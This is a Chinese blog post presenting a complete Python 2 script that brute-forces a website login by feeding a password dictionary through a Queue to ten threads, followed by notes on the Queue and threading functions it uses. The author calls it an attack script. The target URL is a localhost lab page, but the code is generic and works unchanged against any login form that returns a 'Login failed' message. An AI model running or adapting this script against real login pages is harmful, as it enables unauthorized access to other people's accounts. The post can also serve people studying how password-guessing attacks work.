美文网首页
[python]利用Queue和Threading编写爆破脚本

[python]利用Queue和Threading编写爆破脚本

作者: Seaer | 来源:发表于2018-01-16 14:44 被阅读0次

0x01 简介

        由于项目需要,今天编写了一个爆破网站平台密码的一个简单的攻击脚本,结合Queue和Threading,我们可以将自己生成的字典保存到队列中,并利用多线程快速的读取字典,进行爆破。

0x02 脚本

        不多说,直接上代码

import requests
import re
import Queue
import threading


url = "http://127.0.0.1/shiyan/web1/login.php"
thread = 10
password = Queue.Queue()


fp = open('password.txt','r')
passworddata = fp.readlines()
passworddatastr = ''.join(passworddata)
passworddatalist = re.split('\n',passworddatastr)


for passworddata in passworddatalist:
    password.put(passworddata)


def burst():

    while not password.empty():
        passworddata = password.get()
        payload = {'username':'hello','password':passworddata}
        res = requests.post(url,payload)


        if "Login failed" not in res.text:
            print passworddata
            print 'success!!!'



for i in range(thread):
    t = threading.Thread(target = burst)
    t.start()

0x03 分析

        为什么要将Queue和Threading结合起来呢,这是因为,单独使用Threading进行多线程跑字典,会造成多个线程跑的是同一个字典,换句话说,就是10个线程跑了10遍字典,这并不是我们想要的,所以,我们需要用Queue将字典存入队列,多线程在执行队列中的元素时,会一个一个从队列中取出,保证每个线程取出的元素都是不同的,保证10个线程跑一遍字典。
        简单的介绍一下所用到的函数:
        password = Queue.Queue(),初始化队列,Queue()括号中可以加参数,意义是申请的队列长度,如果参数小于1,则长度为无限,这里没有赋值,我们申请的队列长度是无限。
        password.put(passworddata),将括号中参数的值传入到队列中
        password.empty(),判断队列是否为空
        passworddata = password.get(),调用队列对象的get()方法从队头删除并返回一个项目。

        threading.Thread(target = burst),开启多线程,执行名为burst的函数。

相关文章

网友评论

      本文标题:[python]利用Queue和Threading编写爆破脚本

      本文链接:https://www.haomeiwen.com/subject/nvmsoxtx.html